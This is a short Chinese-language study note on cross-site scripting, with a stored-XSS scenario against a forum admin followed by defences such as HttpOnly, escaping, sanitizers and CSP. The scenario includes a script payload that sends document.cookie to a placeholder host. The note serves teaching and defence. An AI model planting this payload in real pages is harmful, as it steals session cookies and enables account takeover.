# 六、了解並預防 Cross-Site Scripting (XSS) 攻擊 1. XSS 攻擊的基本介紹。 - XSS (Cross-site scripting): 在可 input 的地方輸入惡意語法竄改程式,用來竊取使用者資料 - 導向惡意網站 - 竊取 cookies, 登入資訊 - SQL Injection: 同上輸入惡意語法,竊取、修改資料庫 2. 實際設計一個 XSS 攻擊情境。 在一個會紀錄 admin 是否看過留言的論壇網站,透過取得 admin 的 cookie,去得到他的 session 資料,而得以駭入 admin 的帳戶。 於 user input 輸入: ``` <script> var i=new Image; <p> i.src="<url>/?"+document.cookie;<p> </script> ``` 等到下次 admin 登入後,透過 i.src 取得 admin 的 cookie,便可使用 session 的資料偽裝成 admin 登入 3. 根據上述設計的情境,說明開發者該如何預防。 設定 HttpOnly,阻止 javascript 直接存取 cookie 1. input Validate >> str(), 禁止輸入符號 2. escape, encode: - & "&amp"; - < "&lt"; - > "&gt"; - " "&quot"; - ' "&#x27"; 3. 使用 Sanitize 套件: HtmlSanitizer for .NET or SanitizeHelper for Ruby on Rails 4. 使用 CSP - 載入來源白名單 - 禁止 inline 程式碼 - 禁止 eval 函式 - 防止 sniffer 資料來源:https://devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-policy/ https://www.acunetix.com/websitesecurity/cross-site-scripting/